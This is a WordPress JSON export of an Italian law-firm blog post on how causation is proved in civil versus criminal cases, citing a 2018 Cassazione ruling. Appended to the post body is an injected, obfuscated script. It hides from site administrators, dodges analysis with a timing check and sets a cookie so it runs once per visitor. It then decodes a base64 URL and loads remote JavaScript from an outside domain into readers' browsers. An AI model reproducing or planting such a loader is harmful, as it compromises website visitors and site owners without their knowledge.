{"id":27954,"date":"2022-07-18T07:40:02","date_gmt":"2022-07-18T07:40:02","guid":{"rendered":"https:\/\/www.dimariamalasanita.it\/?p=27954"},"modified":"2026-04-15T05:25:26","modified_gmt":"2026-04-15T05:25:26","slug":"il-nesso-di-causa-come-si-accerta-in-sede-civile-e-in-quella-penale","status":"publish","type":"post","link":"https:\/\/www.dimariamalasanita.it\/?p=27954","title":{"rendered":"Il nesso di causa: come si accerta in sede civile e in quella penale"},"content":{"rendered":"<p><strong>Il nesso di causa: come si accerta in sede civile e in quella penale.<\/strong><\/p>\n<p>Abbiamo pi\u00f9 volte evidenziato che la causalit\u00e0 civile differisce in modo sostanziale da quella penale.<\/p>\n<p>In sede civile, l\u2019attenzione ricade sul soggetto leso mentre il giudizio penale focalizza lo sguardo sulla figura del reo; inoltre, in ambito civilistico, si cerca di raggiungere una funzione di tipo risarcitoria a favore del danneggiato ed invece, il giudizio penale, si caratterizza per la funzione punitiva e rieducativa del reo.<\/p>\n<h3>Queste sostanziali differenze implicano, nei giudizi in materia di risarcimento del danno, l\u2019adozione di un diverso criterio per accertare la sussistenza del nesso di causa e quindi: si adotta il criterio della preponderanza dell\u2019evidenza \u201covvero quello \u201cdel pi\u00f9 probabile che non \u201cin sede civile, mentre viene usato quello della \u201ccertezza al di l\u00e0 di ogni ragionevole dubbio \u201cin sede penale.<\/h3>\n<p>Occorre precisare che la regola civilistica non si aggancia ad un dato di probabilit\u00e0 assoluta, cio\u00e8 non implica affatto che per ritenere che una causa abbia determinato un dato evento debba essere soddisfatta la regola della probabilit\u00e0 nella misura del 50%+1.<\/p>\n<p>Il criterio \u201cdel pi\u00f9 probabile che non\u201d significa solo che un evento si pone come antecedente causale con maggiore probabilit\u00e0 rispetto alle altre possibili cause.<\/p>\n<p>Ed infatti, si deve tener conto di tutte le possibili cause e valutare se, nella fattispecie in esame, qualora fosse stato adottato il comportamento corretto, l\u2019evento medesimo non si sarebbe verificato con un elevato grado di probabilit\u00e0.<\/p>\n<p>Ne consegue che, in presenza di pi\u00f9 possibili concause produttrici di un unico evento, se nessuna di esse risulta verosimilmente aver avuto un\u2019efficacia esclusiva nella causazione del fatto rispetto alle altre cause presenti in giudizio, spetta al Giudice valutare quale tra le molteplici cause sia quella che soddisfi il criterio della preponderanza dell\u2019evidenza ed appaia \u201cpi\u00f9 probabile che non \u201crispetto alle altre nella determinazione dell\u2019evento stesso.<\/p>\n<p>Una pietra miliare degna di nota su questo argomento \u00e8 la pronuncia della Corte di Cassazione\u00a0 n. 4024 del 20 febbraio 2018 con relatore Marco Rossetti che cos\u00ec ha statuito:\u201d<em> Quando un evento dannoso sia teoricamente ascrivibile a pi\u00f9 cause, solo alcune delle quali implicanti una responsabilit\u00e0 civile, il giudice non pu\u00f2 rigettare la domanda di risarcimento per il solo fatto che le possibili cause siano pi\u00f9 d\u2019una, ma deve accertare in concreto quale, tra le varie possibili cause, appaia la pi\u00f9 probabile. Tale giudizio va compiuto non in astratto ed in assoluto, ma in concreto e in relazione alla probabilit\u00e0 relativa che ciascuna ipotetica causa pu\u00f2 avere rispetto alle altre\u201d.<\/em><\/p>\n<p>&nbsp;<\/p>\n<p><strong>Dott. Luigi Pin\u00f2<\/strong><\/p>\n<hr \/>\n<ul>\n<li><a href=\"https:\/\/www.dimariamalasanita.it\/flash-news\/\" target=\"_blank\" rel=\"noopener\">Leggi altri articoli dalla sezione flash news<\/a><\/li>\n<li><a href=\"https:\/\/www.dimariamalasanita.it\/blog\/\" target=\"_blank\" rel=\"noopener\">Leggi altri articoli dalla sezione blog<\/a><\/li>\n<li><a href=\"https:\/\/www.dimariamalasanita.it\/contatti\/\" target=\"_blank\" rel=\"noopener\">Contattaci per avere pi\u00f9 info<\/a><\/li>\n<\/ul>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Il nesso di causa: come si accerta in sede civile e in quella penale. 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